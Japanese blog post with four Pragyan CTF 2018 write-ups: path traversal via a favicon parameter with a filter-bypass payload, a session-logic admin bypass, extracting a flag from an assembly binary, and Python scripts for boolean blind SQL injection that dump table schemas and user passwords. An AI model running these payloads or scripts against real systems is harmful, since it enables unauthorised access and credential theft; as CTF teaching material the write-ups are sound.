Pragyan CTF 2018

Pragyan CTF 2018 writeup El33t Articles Hub

El33t Articles Hub (200pts)

 1 hour, 50 minutes, 28 seconds remaining
Are you a person interested in reading articles on hacking? You’ve come to the right place, check out our brand new website for article-reading enthusiasts.

The portal is running on 128.199.224.175:22000
提示されたURLhttp://128.199.224.175:22000/にアクセスします。下図のようなページが表示されます。

1

このとき、Chromeのデベロッパーツールを確認すると、下図のようにfavicon.phpにアクセスしていることが確認できます。

2

favicon.phpのパラメータidに適当な値を指定してみると次のようにエラーメッセージが表示されます。
http://128.199.224.175:22000/favicon.php?id=a

4

faviconsフォルダから拡張子png、ico、phpのファイルを読み込んでいることがわかります。これを利用して各phpファイルを読み出して見ます。
まず、favicon.phpを読み出します。
http://128.199.224.175:22000/favicon.php?id=../favicon

3

favicon.phpの内容は以下のとおりです。
<?php

error_reporting(0);

$fav_id = !empty($_GET['id']) ? $_GET['id'] : '1';

header("Content-Type: image/x-icon"); 
header("Pragma-directive: no-cache");
header("Cache-directive: no-cache");
header("Cache-control: no-cache");
header("Cache-Control: no-store");
header("Pragma: no-cache");
header("Expires: 0");


$favicon = $fav_id;
$filepath = "./favicons/".$favicon;


if(file_exists($filepath . ".png")) {
    $favicon = $filepath . ".png";
}
else if (file_exists($filepath . ".php")) {
    $favicon = $filepath . ".php";
}
else if (file_exists($filepath . ".ico")) {
    $favicon = $filepath . ".ico";
}
else {
    $err_msg = "No files named '$filepath.png', '$filepath.ico'  or '$filepath.php' found ";
    echo $err_msg;
    die();
}


if(!file_exists($favicon)) {
    echo "File '$filepath' does not exist";
    die();
}

readfile($favicon); 

?>
次に、index.phpを読み出してみます。
http://128.199.224.175:22000/favicon.php?id=../index
index.phpは次のような内容です。
<!DOCTYPE html>
<html>
  <head>

  <?php
    $favicon_id = mt_rand(1,7);
    echo "<link rel='shortcut icon' href='favicon.php?id=$favicon_id' type='image/x-icon'>";
  ?>

    <meta charset="UTF-8">
    <title>El33t Articles Hub</title>

  <link rel="stylesheet" href="css/bootstrap.min.css">
  <style type="text/css">
      #container {
        background-color: #fcf3cf   ;
        width: 60%;
        border: 1px solid grey;
        padding: 10px;
        margin: auto;
        margin-top: 10px;
        margin-bottom: 30px;
      }

      #container p {
        padding: 10px;
        font-size: 16px;
      }

      #header {
        height: 100px;
        margin: 20px;
        text-align: center;
        font-size: 24px;
      }

      body {
        background-color:  #f9e79f  ;
      }

  </style>

  </head>

  <body>

  <div id='header'>
        <b><u> El33t Articles Hub </u> </b>
  </div>

    <div id='container'>
    <?php
        error_reporting(0);
        require "fetch.php";
        require "helpers.php";

        $filename = !empty($_GET['file']) ? $_GET['file'] : "";

        if($filename !== "") {

            $filename = sanitize($filename);
            $file_contents = read_article($filename);
            echo "<p>";
            echo $file_contents;
            echo "</p>";
        }
        else {
            $files = scandir('./articles');
            echo "<ul>";
            foreach($files as $i) {
                $temp = new SplFileInfo($i);
                $ext = $temp->getExtension();
                if($ext !== "txt")
                    continue;
                $t = explode(".txt", $i)[0];
                echo "<li><h4><a href='?file=$t'> $t </a> </h4></li>";
            }
            echo "</ul>";
        }

    ?>

    </div>
    <center>
        <p> Copywrite &copy; El33t Articles Hub </p>
    </center>
  </body>

</html>
次にindex.phpに記載のあるfetch.php、helper.phpをそれぞれ読み出してみます。
http://128.199.224.175:22000/favicon.php?id=../fetch
http://128.199.224.175:22000/favicon.php?id=../helper

helper.phpの内容は下記のとおりです。secret/flag_7258689d608c0e2e6a90c33c44409f9d.txtファイルを読み出せればよさそうです。
<?php

function article_not_found($name) {
    echo "<br><center>";
    echo "File \"$name\" not found !!";
    echo "</center>";
    die();
}

function sanitize($filename) {

    $evil_chars = array("php:", "secret/flag_7258689d608c0e2e6a90c33c44409f9d");
    foreach ($evil_chars as $value) {
        if( strpos($filename, $value) !== false) {
            echo "You naughty cheat !!<br>";
            die();
        }
    }

    // Sanitize input file name
    $bad_chars = array("./", "../");
    foreach ($bad_chars as $value) {
        $filename = str_replace($value, "", $filename);
    }

    $temp = new SplFileInfo($filename);
    $ext = $temp->getExtension();

    if( $ext !== "txt") {
        $filename = $filename.".txt";
    }

    return $filename;

}

?>
まず、入力値のチェック処理を回避するためにsecret/とflag~の間に./をはさみます。また、./と../が取り除かれることを考慮すると、次のようなURLになります。
http://128.199.224.175:22000/?file=.....///secret/./flag_7258689d608c0e2e6a90c33c44409f9d
アクセスすると次のページが表示されます。

5

フラグは、
pctf{1h3-v41id41i0n_SuCk3d~r34l-baD}
です。



Pragyan CTF 2018 writeup Authenticate your way to admin

Authenticate your way to admin (150pts)

 1 day, 22 hours, 58 minutes, 20 seconds remaining
Owen had created an authentication system which lets users login with their email-id or their team name. But that’s not fun is it? Logging in as the admin beats it all, so there’s your challenge.

The portal is running at 128.199.224.175:23000

Note: Use your Pragyan CTF credentials to login to the web portal.

 login.php 
1f069e7e0b8016a80632bc76a4226b8b

 homepage.php 
113dea31f23d8a774e12336cde0a4f1f
問題で提示されたURLhttp://128.199.224.175:23000/にアクセスします。下図のようなページが表示されます。

1

homepage.phpのソースは下記のようになっています。最初にcheck_login()でログイン状態かどうかチェックしています。$idが”admin”で$id_typeが”team_name”のときにhomepage.phpにアクセスするとフラグを取得できそうです。$idはcheck_login()のあとにセッション変数$_SESSION['id']から取得しています。
<?php

session_start();

require "helpers.php";

if(! check_login())
    redirect($LOGIN_URL);

$id_type = $_SESSION['id_type'];
$id = $_SESSION['id'];

?>

<!DOCTYPE html>
<html>
<head>
    <title>Homepage</title>
</head>
<body style='background-color: #d6eaf8'>

<p style="float: right">
<a href='/logout.php'> Logout </a>
</p>
<p style="clear: both"></p>

<p style='height:30px; width:100%;'> </p>

<center>
    
<h2> Welcome User !! </h2>
<br><br>

<h3>
<?php
if($id_type === 'email') {
    echo "Email :- ".$id;
}
elseif ($id_type === 'team_name') 
{
    echo "Team Name :- ".$id ;
}
?>
</h3>
<br><br>

<h4>
Here's a random funny saying for you :) <br>
</h4>
<br><br>

<?php
    require "sayings.php";
    printf(get_random_saying());
    echo "<br><br>";
    if($id === 'admin' && $id_type === 'team_name')
        printf(output_flag());
?>

</center>

</body>
</html>
次にlogin.phpのソースは下記のようになっています。verify_teamname_password()でパスワードをチェックして合っていればセッション変数$_SESSION['logged_in']にtrueをセットしています。
<?php

session_start();

require "helpers.php";

$type = $_POST['id_type'];
$identifier = $_POST['identifier'];
$password = $_POST['password'];
$_SESSION['id'] = $identifier;

if($type === 'team_name') {
    $team_name = $identifier;
    $_SESSION['id_type'] = 'team_name';

    if(verify_teamname_password($team_name, $password) === true) {
        $_SESSION['logged_in'] = true;
        redirect('/homepage.php');
    }
    else {
        die("Invalid Team Name-Password combination !!");
    }
}
elseif ($type === 'email') {
    $email = $identifier;
    $_SESSION['id_type'] = 'email';

    if(verify_email_password($email, $password) === true) {
        $_SESSION['logged_in'] = true;
        redirect('/homepage.php');
    }
    else {
        die("Invalid Email-Password combination !!");
    }
}

?>
パスワードが違っていた場合、セッション変数$_SESSION['id']にidがセットされますが、$_SESSION['logged_in']がクリアされないため、一度自分のID/PWでログインし、次にadminで適当なパスワードでログインすると、$_SESSION['id']="admin"、$_SESSION['logged_in']="true”の状態になります。この状態でhomepage.phpに直接アクセスすると、下図のとおりフラグが取得できます。

2

フラグは、
pctf{4u1h3ntic4Ti0n.4nd~4u1horiz4ti0n_diff3r}
です。

WEB+DB PRESS Vol.103
西村 宗晃
技術評論社
2018-02-24


Pragyan CTF 2018 writeup Assemble your way to the flag

Assemble your way to the flag (50pts)

 2 days, 53 minutes, 46 seconds remaining
My friend was trying out assembly for the first time, he has no clue what he's doing, help him out and procure your reward in the form of a flag :)

 question 
21403c32f66255742df510d2c44f527c
fileコマンドでファイルタイプを確認します。Linux用の64bit実行ファイルです。
$ file question 
question: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8fab56740532448fb41c467bd5e093f74a0e6994, not stripped
実行してみます。メッセージが表示されてプログラムが終了します。
$ ./question 
Look for something else....
動作を確認するために、objdumpで逆アセンブルします。
$ objdump -s -D question >aaa.txt
0x6b0~0x6c1で0x50と0x2dのxorをとってスタックにつんでいます。次に0x6c2~0x6d3で0xc1と0xb8のxorをとってスタックにつんでいます。このような処理が0x8cbまで続き、0x8ccで0x560の関数をcallしています。
00000000000006a0 <main>:
 6a0: push   %rbp
 6a1: mov    %rsp,%rbp
 6a4: lea    0x2b9(%rip),%rdi        # 964 Look for something else....
 6ab: mov    $0x0,%eax
 6b0: mov    $0x50,%rax
 6b7: mov    $0x2d,%rbx
 6be: xor    %rbx,%rax
 6c1: push   %rax
 6c2: mov    $0xc1,%rax
 6c9: mov    $0xb8,%rbx
 6d0: xor    %rbx,%rax
 6d3: push   %rax
(略)
 8a8: mov    $0xbe,%rax
 8af: mov    $0xdd,%rbx
 8b6: xor    %rbx,%rax
 8b9: push   %rax
 8ba: mov    $0xac,%rax
 8c1: mov    $0xdc,%rbx
 8c8: xor    %rbx,%rax
 8cb: push   %rax
 8cc: callq  560 <_init+0x30>
それではgdbで0x8ccにブレークポイントを設定してスタックを表示してみます。次のように出力されます。
gdb-peda$ x/30ws 0x7fffffffdb20
0x7fffffffdb20: U"p"
0x7fffffffdb28: U"c"
0x7fffffffdb30: U"t"
0x7fffffffdb38: U"f"
0x7fffffffdb40: U"{"
0x7fffffffdb48: U"l"
0x7fffffffdb50: U"3"
0x7fffffffdb58: U"g"
0x7fffffffdb60: U"e"
0x7fffffffdb68: U"N"
0x7fffffffdb70: U"d"
0x7fffffffdb78: U"s"
0x7fffffffdb80: U"_"
0x7fffffffdb88: U"c"
0x7fffffffdb90: U"0"
0x7fffffffdb98: U"d"
0x7fffffffdba0: U"3"
0x7fffffffdba8: U"_"
0x7fffffffdbb0: U"1"
0x7fffffffdbb8: U"n"
0x7fffffffdbc0: U"_"
0x7fffffffdbc8: U"4"
0x7fffffffdbd0: U"S"
0x7fffffffdbd8: U"s"
0x7fffffffdbe0: U"3"
0x7fffffffdbe8: U"m"
0x7fffffffdbf0: U"b"
0x7fffffffdbf8: U"1"
0x7fffffffdc00: U"y"
0x7fffffffdc08: U"}"
したがって、フラグは、
pctf{l3geNds_c0d3_1n_4Ss3mb1y}
です。

GDBデバッギング入門
リチャード ストールマン
アスキー
1999-01


Pragyan CTF 2018 writeup Animal attack

Animal attack (200pts)

 47 minutes, 14 seconds remaining
Animals have taken over our world and a specific team of animal spies have taken the role of leading the entire army of animals. We humans have formed a group of rebels who have taken it up as a mission to find the main users of the animal spies and find the admin of that group. The admin, with his username and password can launch a powerful attack on the humans. Help the human rebels group get the world back from the animals.

The portal is available at :- http://128.199.224.175:24000/
問題に提示されたURLにアクセスします。次のようなページが表示されます。

1

検索テキストに”0”を入力して検索すると次のように検索結果が0件になります。

2

また、そのときの送信データをChromeのデベロッパーツールで見てみると、Base64でエンコードされて送信されているようです。

3

次に、”0' or 1=1 #”で検索してみると次のように検索結果が返ってきます。

4

したがって、SQLインジェクションの脆弱性があることがわかります。また、”#”でSQLコメントできていることからDBMSがMySQLであることもわかります。

次に、UNIONインジェクションができるかどうか試してみますが、次のような結果が返ってきて”UNION”というキーワードがチェックされているようです。

5

そこで、ブラインドSQLインジェクションによりデータベースに存在するテーブル、カラムを調べてみます。
MySQLでは”information_schema”データベースにスキーマの定義情報が保存されています。”columns”テーブルを参照することで定義されているテーブル名、カラム名の情報がわかります。
import urllib
import urllib2
import base64

url = 'http://128.199.224.175:24000/'
table = ''
sql = "0' or ord(substr((select group_concat(table_name,':',column_name) from information_schema.columns where table_schema=database()),{},1))>{} #"
for pos in range(1, 200):
for c in range(32, 127):
sqli = sql.format(pos, c)
params = { 'spy_name': base64.b64encode(sqli) }
params = urllib.urlencode(params)
req = urllib2.Request(url)
req.add_header('test', 'application/x-www-form-urlencoded')
req.add_data(params)
res = urllib2.urlopen(req)
r = res.read()
if len(r) < 8000:
table = table + chr(c)
print(table)
break
このPythonスクリプトを実行すると、時間がかかりますが次の結果が得られます。
$ python aaa.py
s
sp
spi
spie
spies
spies:
spies:i
spies:id
(略)
spies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:password,users:emal
”users”テーブルが存在し、”username”、”password”というカラムが存在することがわかります。同じ手法で”users”テーブルの情報を取得します。
import urllib
import urllib2
import base64

url = 'http://128.199.224.175:24000/'
table = ''
sql = "0' or ord(substr((select group_concat(username,':',password) from users),{},1))>{} #"
for pos in range(1, 200):
for c in range(32, 127):
sqli = sql.format(pos, c)
params = { 'spy_name': base64.b64encode(sqli) }
params = urllib.urlencode(params)
req = urllib2.Request(url)
req.add_header('test', 'application/x-www-form-urlencoded')
req.add_data(params)
res = urllib2.urlopen(req)
r = res.read()
if len(r) < 8000:
table = table + chr(c)
print(table)
break
実行すると、次の結果を得ることができます。
$ python bbb.py
a
ad
adm
admi
admin
(略)
admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?},test:test

フラグは、
pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}
です。



記事検索
ギャラリー
  • TetCTF 2023 NewYearBot
  • UUT CTF writeup Find The Password
  • UUT CTF writeup The Puzzle
  • Hack Zone Tunisia 2019 writeup Microscope
  • Hack Zone Tunisia 2019 writeup Welcome
  • SwampCTF 2019 writeup Brokerboard
  • SwampCTF 2019 writeup Leap of Faith
  • SwampCTF 2019 writeup Last Transmission
  • CBM CTF 2019 writeup Long road
カテゴリー